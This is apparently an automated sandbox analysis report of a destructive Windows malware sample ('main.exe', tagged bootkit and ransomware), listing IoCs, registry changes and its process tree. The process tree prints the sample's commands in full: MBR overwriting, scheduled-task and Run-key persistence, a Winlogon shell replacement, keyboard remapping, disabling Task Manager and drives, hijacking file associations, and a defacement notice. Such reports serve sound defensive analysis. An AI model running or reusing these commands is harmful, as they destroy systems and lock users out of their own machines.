d1e77a4b84f29b4a1a78c09fdfcb9636327a24a0b5ed8bef7d51ca6daea557f3

Analysis

max time kernel
93s
max time network
49s
platform
windows7_x64
resource
win7-20220414-en
submitted
24-04-2022 13:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

main.exe
Size

33.9MB
MD5

4d3712c7e5c35bf7ec8a74b171389a4f
SHA1

8f1e5ecdafb2ca68ee48b065ecd38f6790dfef3d
SHA256

ba591d8b11be9b59dfa8fb5fdc6ba9c9e5f96db4d2be323d7a3cdf9c04f935bb
SHA512

31939f394536d8912eed9267b1b09fc65f461c25d5343b6eabeb7638749be36945dd2e907bcd6766a17a83ee285ea1e8afa86fac4fc3a6379837e12c7acf0fbd

Score

10^/10

bootkit discovery evasion exploit persistence ransomware upx

Malware Config

Signatures

Modifies system executable filetype association 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1042

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\DefaultIcon\ = "%appdart%\\a.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Roaming\\a.ico"	reg.exe

ACProtect 1.3x - 1.4x DLL software 1 IoCs

Detects file using ACProtect software.

Processes:

resource	yara_rule
\Windows\SysWOW64\ExtraDll.dll	acprotect

Executes dropped EXE 2 IoCs

Processes:

main.exe3.exe

pid process

1512 main.exe
2476 3.exe
Possible privilege escalation attempt 2 IoCs
exploit

Processes:

takeown.exeicacls.exe

pid process

2620 takeown.exe
2720 icacls.exe
Sets file execution options in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112
Sets file to hidden 1 TTPs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1158

pid	process
2620	takeown.exe
2720	icacls.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Windows\SysWOW64\ExtraDll.dll	upx

Loads dropped DLL 64 IoCs

Processes:

main.exerundll32.exerundll32.exerundll32.exerundll32.exerundll32.exerundll32.exerundll32.exerundll32.exerundll32.exerundll32.exerundll32.exerundll32.exe

pid	process
1512	main.exe
1512	main.exe
864	rundll32.exe
864	rundll32.exe
1716	rundll32.exe
1716	rundll32.exe
1716	rundll32.exe
1716	rundll32.exe
1716	rundll32.exe
1716	rundll32.exe
1716	rundll32.exe
1124	rundll32.exe
1124	rundll32.exe
1124	rundll32.exe
1124	rundll32.exe
864	rundll32.exe
864	rundll32.exe
2708	rundll32.exe
2708	rundll32.exe
2708	rundll32.exe
2708	rundll32.exe
2708	rundll32.exe
2708	rundll32.exe
2708	rundll32.exe
2772	rundll32.exe
2772	rundll32.exe
2772	rundll32.exe
2772	rundll32.exe
2988	rundll32.exe
2988	rundll32.exe
2988	rundll32.exe
2988	rundll32.exe
2988	rundll32.exe
2988	rundll32.exe
2988	rundll32.exe
3028	rundll32.exe
3028	rundll32.exe
3028	rundll32.exe
3028	rundll32.exe
3060	rundll32.exe
3060	rundll32.exe
3060	rundll32.exe
3060	rundll32.exe
3060	rundll32.exe
3060	rundll32.exe
3060	rundll32.exe
956	rundll32.exe
956	rundll32.exe
956	rundll32.exe
956	rundll32.exe
2188	rundll32.exe
2188	rundll32.exe
2188	rundll32.exe
2188	rundll32.exe
2188	rundll32.exe
2188	rundll32.exe
2188	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1620	rundll32.exe
1620	rundll32.exe
1620	rundll32.exe

Modifies file permissions 1 TTPs 2 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exe

pid process

2620 takeown.exe
2720 icacls.exe

pid	process
2620	takeown.exe
2720	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\explorer = "%appdata%\\addreg.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run	reg.exe

Enumerates connected drives 3 TTPs 45 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

3.exerundll32.exe

description	ioc	process
File opened (read-only)	\??\Q:	3.exe
File opened (read-only)	\??\S:	3.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\M:	3.exe
File opened (read-only)	\??\L:	3.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\H:	3.exe
File opened (read-only)	\??\J:	3.exe
File opened (read-only)	\??\K:	3.exe
File opened (read-only)	\??\T:	3.exe
File opened (read-only)	\??\U:	3.exe
File opened (read-only)	\??\V:	3.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\B:	3.exe
File opened (read-only)	\??\W:	3.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\O:	3.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\X:	3.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\N:	3.exe
File opened (read-only)	\??\P:	3.exe
File opened (read-only)	\??\Y:	3.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\I:	3.exe
File opened (read-only)	\??\R:	3.exe
File opened (read-only)	\??\Z:	3.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe

Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1067

Processes:

rundll32.exerundll32.exe

description	ioc	process
File opened for modification	\??\PhysicalDrive0	rundll32.exe
File opened for modification	\??\PhysicalDrive0	rundll32.exe
File opened for modification	\??\physicaldrive0	rundll32.exe

Drops file in System32 directory 15 IoCs

Processes:

main.exerundll32.exe3.exe

description	ioc	process
File created	C:\Windows\SysWOW64\main.dll	main.exe
File created	C:\Windows\SysWOW64\3.exe	rundll32.exe
File created	C:\Windows\SysWOW64\WinRing0x64.sys	rundll32.exe
File created	C:\Windows\SysWOW64\WinRing0.dll	rundll32.exe
File opened for modification	C:\Windows\SysWOW64\WinRing0x64.sys	rundll32.exe
File created	C:\Windows\SysWOW64\	3.exe
File opened for modification	C:\Windows\SysWOW64\	3.exe
File created	C:\Windows\SysWOW64\del_file.bat	rundll32.exe
File opened for modification	C:\Windows\SysWOW64\WinRing0.dll	rundll32.exe
File opened for modification	C:\Windows\SysWOW64\main.dll	main.exe
File created	C:\Windows\SysWOW64\ExtraDll.dll	rundll32.exe
File created	C:\Windows\SysWOW64\TerminatorFrame.dll	rundll32.exe
File created	C:\Windows\SysWOW64\a.txt	rundll32.exe
File created	C:\Windows\SysWOW64\pl.dll	3.exe
File created	C:\Windows\SysWOW64\3_tx.exe	3.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

rundll32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1819626980-2277161760-1023733287-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Roaming\\hehe.bmp"	rundll32.exe

Drops file in Windows directory 6 IoCs

Processes:

rundll32.exeattrib.exeattrib.exemain.exe

description	ioc	process
File created	C:\Windows\GTCY\3.exe	rundll32.exe
File opened for modification	C:\Windows\GTCY\3.exe	rundll32.exe
File opened for modification	C:\Windows\GTCY\3.exe	attrib.exe
File opened for modification	C:\Windows\GTCY\main.dll	attrib.exe
File opened for modification	C:\Windows\GTCY	attrib.exe
File created	C:\Windows\GTCY\main.dll	main.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1172 schtasks.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

2780 taskkill.exe

pid	process
1172	schtasks.exe

pid	process
2780	taskkill.exe

Modifies Control Panel 2 IoCs

evasion

Processes:

rundll32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1819626980-2277161760-1023733287-1000\Control Panel\Desktop\WallpaperStyle = "2"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1819626980-2277161760-1023733287-1000\Control Panel\Desktop\TileWallpaper = "2"	rundll32.exe

Modifies registry class 26 IoCs

Processes:

rundll32.exereg.exereg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.html\ = "jpegfile"	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.7z	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ink	rundll32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.xls\ = "jpegfile"	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "jpegfile"	rundll32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ini\ = "jpegfile"	rundll32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.zip\ = "jpegfile"	rundll32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cab\ = "jpegfile"	rundll32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.rar\ = "jpegfile"	rundll32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ink\ = "jpegfile"	rundll32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.msc\ = "jpegfile"	rundll32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\DefaultIcon\ = "%appdart%\\a.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.txt\ = "jpegfile"	rundll32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.inf\ = "jpegfile"	rundll32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mp4\ = "jpegfile"	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.rar	rundll32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.7z\ = "jpegfile"	rundll32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.xlsm\ = "jpegfile"	rundll32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.URL\ = "jpegfile"	rundll32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Roaming\\a.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.com\ = "jpegfile"	rundll32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "jpegfile"	rundll32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ppt\ = "jpegfile"	rundll32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pptx\ = "jpegfile"	rundll32.exe

Runs net.exe
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

main.exe

pid process

1512 main.exe
Suspicious behavior: LoadsDriver 4 IoCs

Processes:

pid process

464
464
464
464

pid	process
464
464
464
464

Suspicious use of AdjustPrivilegeToken 46 IoCs

Processes:

AUDIODG.EXEwmic.exetakeown.exetaskkill.exe

description	pid	process
Token: 33	1384	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1384	AUDIODG.EXE
Token: 33	1384	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1384	AUDIODG.EXE
Token: SeIncreaseQuotaPrivilege	2460	wmic.exe
Token: SeSecurityPrivilege	2460	wmic.exe
Token: SeTakeOwnershipPrivilege	2460	wmic.exe
Token: SeLoadDriverPrivilege	2460	wmic.exe
Token: SeSystemProfilePrivilege	2460	wmic.exe
Token: SeSystemtimePrivilege	2460	wmic.exe
Token: SeProfSingleProcessPrivilege	2460	wmic.exe
Token: SeIncBasePriorityPrivilege	2460	wmic.exe
Token: SeCreatePagefilePrivilege	2460	wmic.exe
Token: SeBackupPrivilege	2460	wmic.exe
Token: SeRestorePrivilege	2460	wmic.exe
Token: SeShutdownPrivilege	2460	wmic.exe
Token: SeDebugPrivilege	2460	wmic.exe
Token: SeSystemEnvironmentPrivilege	2460	wmic.exe
Token: SeRemoteShutdownPrivilege	2460	wmic.exe
Token: SeUndockPrivilege	2460	wmic.exe
Token: SeManageVolumePrivilege	2460	wmic.exe
Token: 33	2460	wmic.exe
Token: 34	2460	wmic.exe
Token: 35	2460	wmic.exe
Token: SeTakeOwnershipPrivilege	2620	takeown.exe
Token: SeIncreaseQuotaPrivilege	2460	wmic.exe
Token: SeSecurityPrivilege	2460	wmic.exe
Token: SeTakeOwnershipPrivilege	2460	wmic.exe
Token: SeLoadDriverPrivilege	2460	wmic.exe
Token: SeSystemProfilePrivilege	2460	wmic.exe
Token: SeSystemtimePrivilege	2460	wmic.exe
Token: SeProfSingleProcessPrivilege	2460	wmic.exe
Token: SeIncBasePriorityPrivilege	2460	wmic.exe
Token: SeCreatePagefilePrivilege	2460	wmic.exe
Token: SeBackupPrivilege	2460	wmic.exe
Token: SeRestorePrivilege	2460	wmic.exe
Token: SeShutdownPrivilege	2460	wmic.exe
Token: SeDebugPrivilege	2460	wmic.exe
Token: SeSystemEnvironmentPrivilege	2460	wmic.exe
Token: SeRemoteShutdownPrivilege	2460	wmic.exe
Token: SeUndockPrivilege	2460	wmic.exe
Token: SeManageVolumePrivilege	2460	wmic.exe
Token: 33	2460	wmic.exe
Token: 34	2460	wmic.exe
Token: 35	2460	wmic.exe
Token: SeDebugPrivilege	2780	taskkill.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

rundll32.exe

pid process

864 rundll32.exe
864 rundll32.exe
864 rundll32.exe

pid	process
864	rundll32.exe
864	rundll32.exe
864	rundll32.exe

Suspicious use of SetWindowsHookEx 38 IoCs

Processes:

main.exerundll32.exerundll32.exe

pid	process
1512	main.exe
1512	main.exe
1512	main.exe
1512	main.exe
1512	main.exe
1512	main.exe
1512	main.exe
1512	main.exe
1512	main.exe
1512	main.exe
1512	main.exe
1512	main.exe
1512	main.exe
1512	main.exe
1512	main.exe
1512	main.exe
1512	main.exe
1512	main.exe
1512	main.exe
1512	main.exe
1512	main.exe
1512	main.exe
864	rundll32.exe
864	rundll32.exe
864	rundll32.exe
864	rundll32.exe
864	rundll32.exe
864	rundll32.exe
2328	rundll32.exe
2328	rundll32.exe
2328	rundll32.exe
2328	rundll32.exe
2328	rundll32.exe
2328	rundll32.exe
2328	rundll32.exe
2328	rundll32.exe
2328	rundll32.exe
2328	rundll32.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

main.execmd.exemain.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2040 wrote to memory of 1340	2040	main.exe	cmd.exe
PID 2040 wrote to memory of 1340	2040	main.exe	cmd.exe
PID 2040 wrote to memory of 1340	2040	main.exe	cmd.exe
PID 1340 wrote to memory of 1512	1340	cmd.exe	main.exe
PID 1340 wrote to memory of 1512	1340	cmd.exe	main.exe
PID 1340 wrote to memory of 1512	1340	cmd.exe	main.exe
PID 1340 wrote to memory of 1512	1340	cmd.exe	main.exe
PID 1512 wrote to memory of 1448	1512	main.exe	attrib.exe
PID 1512 wrote to memory of 1448	1512	main.exe	attrib.exe
PID 1512 wrote to memory of 1448	1512	main.exe	attrib.exe
PID 1512 wrote to memory of 1448	1512	main.exe	attrib.exe
PID 1512 wrote to memory of 864	1512	main.exe	rundll32.exe
PID 1512 wrote to memory of 864	1512	main.exe	rundll32.exe
PID 1512 wrote to memory of 864	1512	main.exe	rundll32.exe
PID 1512 wrote to memory of 864	1512	main.exe	rundll32.exe
PID 1512 wrote to memory of 864	1512	main.exe	rundll32.exe
PID 1512 wrote to memory of 864	1512	main.exe	rundll32.exe
PID 1512 wrote to memory of 864	1512	main.exe	rundll32.exe
PID 864 wrote to memory of 1692	864	rundll32.exe	notepad.exe
PID 864 wrote to memory of 1692	864	rundll32.exe	notepad.exe
PID 864 wrote to memory of 1692	864	rundll32.exe	notepad.exe
PID 864 wrote to memory of 1692	864	rundll32.exe	notepad.exe
PID 864 wrote to memory of 1716	864	rundll32.exe	rundll32.exe
PID 864 wrote to memory of 1716	864	rundll32.exe	rundll32.exe
PID 864 wrote to memory of 1716	864	rundll32.exe	rundll32.exe
PID 864 wrote to memory of 1716	864	rundll32.exe	rundll32.exe
PID 864 wrote to memory of 1716	864	rundll32.exe	rundll32.exe
PID 864 wrote to memory of 1716	864	rundll32.exe	rundll32.exe
PID 864 wrote to memory of 1716	864	rundll32.exe	rundll32.exe
PID 1716 wrote to memory of 1124	1716	rundll32.exe	rundll32.exe
PID 1716 wrote to memory of 1124	1716	rundll32.exe	rundll32.exe
PID 1716 wrote to memory of 1124	1716	rundll32.exe	rundll32.exe
PID 1716 wrote to memory of 1124	1716	rundll32.exe	rundll32.exe
PID 864 wrote to memory of 552	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 552	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 552	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 552	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 832	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 832	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 832	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 832	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 1968	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 1968	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 1968	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 1968	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 1360	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 1360	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 1360	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 1360	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 872	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 872	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 872	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 872	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 848	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 848	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 848	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 848	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 1844	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 1844	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 1844	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 1844	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 984	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 984	864	rundll32.exe	subst.exe
PID 864 wrote to memory of 984	864	rundll32.exe	subst.exe

Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exe

pid process

1448 attrib.exe
268 attrib.exe

pid	process
1448	attrib.exe
268	attrib.exe

C:\Users\Admin\AppData\Local\Temp\main.exe
"C:\Users\Admin\AppData\Local\Temp\main.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2040

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\EC1.tmp\EC2.tmp\EC3.bat C:\Users\Admin\AppData\Local\Temp\main.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:1340

C:\Users\Admin\AppData\Roaming\main.exe
main.exe
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1512

C:\Windows\SysWOW64\attrib.exe
attrib C:\Windows\GTCY +S +H
4⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:1448

C:\Windows\SysWOW64\rundll32.exe
rundll32 main.jpg main
4⤵
- Loads dropped DLL
- Enumerates connected drives
- Writes to the Master Boot Record (MBR)
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Windows directory
- Modifies Control Panel
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:864

C:\Windows\SysWOW64\notepad.exe
notepad.exe a.txt
5⤵
PID:1692

C:\Windows\SysWOW64\rundll32.exe
rundll32 TerminatorFrame.dll,ClearSectorAndESP
5⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1716

C:\Windows\system32\rundll32.exe
rundll32 TerminatorFrame.dll,ClearSectorAndESP
6⤵
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
PID:1124

C:\Windows\SysWOW64\subst.exe
subst b: C:\
5⤵
PID:552

C:\Windows\SysWOW64\subst.exe
subst h: C:\
5⤵
PID:832

C:\Windows\SysWOW64\subst.exe
subst i: C:\
5⤵
PID:1968

C:\Windows\SysWOW64\subst.exe
subst j: C:\
5⤵
PID:1360

C:\Windows\SysWOW64\subst.exe
subst k: C:\
5⤵
PID:872

C:\Windows\SysWOW64\subst.exe
subst l: C:\
5⤵
PID:848

C:\Windows\SysWOW64\subst.exe
subst m: C:\
5⤵
PID:1844

C:\Windows\SysWOW64\subst.exe
subst n: C:\
5⤵
PID:984

C:\Windows\SysWOW64\subst.exe
subst o: C:\
5⤵
PID:1608

C:\Windows\SysWOW64\subst.exe
subst p: C:\
5⤵
PID:1488

C:\Windows\SysWOW64\subst.exe
subst q: C:\
5⤵
PID:1340

C:\Windows\SysWOW64\subst.exe
subst r: C:\
5⤵
PID:1904

C:\Windows\SysWOW64\subst.exe
subst s: C:\
5⤵
PID:1712

C:\Windows\SysWOW64\subst.exe
subst t: C:\
5⤵
PID:1160

C:\Windows\SysWOW64\subst.exe
subst u: C:\
5⤵
PID:280

C:\Windows\SysWOW64\subst.exe
subst v: C:\
5⤵
PID:1892

C:\Windows\SysWOW64\subst.exe
subst w: C:\
5⤵
PID:544

C:\Windows\SysWOW64\subst.exe
subst x: C:\
5⤵
PID:1316

C:\Windows\SysWOW64\subst.exe
subst y: C:\
5⤵
PID:1912

C:\Windows\SysWOW64\subst.exe
subst z: C:\
5⤵
PID:1560

C:\Windows\SysWOW64\attrib.exe
attrib C:\Windows\GTCY\*.* +S +H
5⤵
- Drops file in Windows directory
- Views/modifies file attributes
PID:268

C:\Windows\SysWOW64\WScript.exe
C:\Windows\System32\WScript.exe C:\Windows\system32\slmgr.vbs /upk
5⤵
PID:1680

C:\Windows\SysWOW64\WScript.exe
C:\Windows\System32\WScript.exe C:\Windows\system32\slmgr.vbs /cpky
5⤵
PID:1704

C:\Windows\SysWOW64\schtasks.exe
schtasks /Create /TN IntelCAS /TR "rundll32 %windir%\GTCY\main.dll main" /RL HIGHEST /SC ONLOGON
5⤵
- Creates scheduled task(s)
PID:1172

C:\Windows\SysWOW64\reg.exe
reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout" /v "Scancode Map" /d 0000000000000000710000000000010000003B0000003C0000003D0000003E0000003F0000004000000041000000420000004300000044000000570000005800000037E000004600000052E0000047E0000049E0000051E000004FE0000053E0000048E000004BE0000050E000004DE00000520000005300000051000000500000004F0000004B0000004C0000004D0000004E0000004900000048000000470000004500000035E00000370000004A0000002900000002000000030000000400000005000000060000000700000008000000090000000A0000000B0000000C0000000D0000000F0000001000000011000000130000001600000017000000190000001A0000001B0000002B000000280000002700000026000000250000002400000022000000210000003A0000002A0000001D0000005BE00000380000002C0000002D0000002E0000002F0000003000000032000000330000003400000035000000360000001DE000005DE000005CE0000038E000005900000065E0000021E000006BE000005EE000005FE000006AE0000069E0000068E0000067E0000032E000006CE000006DE0000066E0000020E000002EE000002CE0000030E0000019E0000010E0000024E0000022E000000000 /t REG_BINARY /f
5⤵
PID:1284

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticecaption /d GTCY /f
5⤵
PID:848

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /d "Your computer has been turned into a pile of rubbish by GTCY. It will be difficult to continue to repair it. Keep using this computer? :D" /f
5⤵
PID:1572

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskmgr /d 1 /t REG_DOWORD/f
5⤵
PID:992

C:\Windows\SysWOW64\reg.exe
reg add HKEY_CLASSES_ROOT\exefile\DefaultIcon /ve /d %appdart%\a.ico /f
5⤵
PID:1992

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\DefaultIcon /ve /d C:\Users\Admin\AppData\Roaming\a.ico /f
5⤵
PID:1308

C:\Windows\SysWOW64\reg.exe
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main" /v "Start Page"/t REG_SZ /d sbsbbsbsbsbsb /f
5⤵
PID:636

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v Shell /t REG_SZ /d sbsb /f
5⤵
PID:1688

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t REG_BINARY /d FFFFFFFF /f
5⤵
PID:544

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v explorer /d %appdata%\addreg.exe /f
5⤵
- Adds Run key to start application
PID:1316

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRecentDocsMenu /t REG_DWORD /d 1 /f
5⤵
PID:1912

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRecentDocsHistory /t REG_DWORD /d 1 /f
5⤵
PID:1916

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClearRecentDocsOnExit /t REG_DWORD /d 1 /f
5⤵
PID:628

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSMHelp /t REG_DWORD /d 1 /f
5⤵
PID:1580

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFavoritesMenu /t REG_DWORD /d 1 /f
5⤵
PID:1672

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 1 /f
5⤵
PID:1788

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
5⤵
PID:1284

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
5⤵
PID:1632

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
5⤵
PID:812

C:\Windows\SysWOW64\reg.exe
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogOff /t REG_DWORD /d 1 /f
5⤵
PID:1216

C:\Windows\SysWOW64\reg.exe
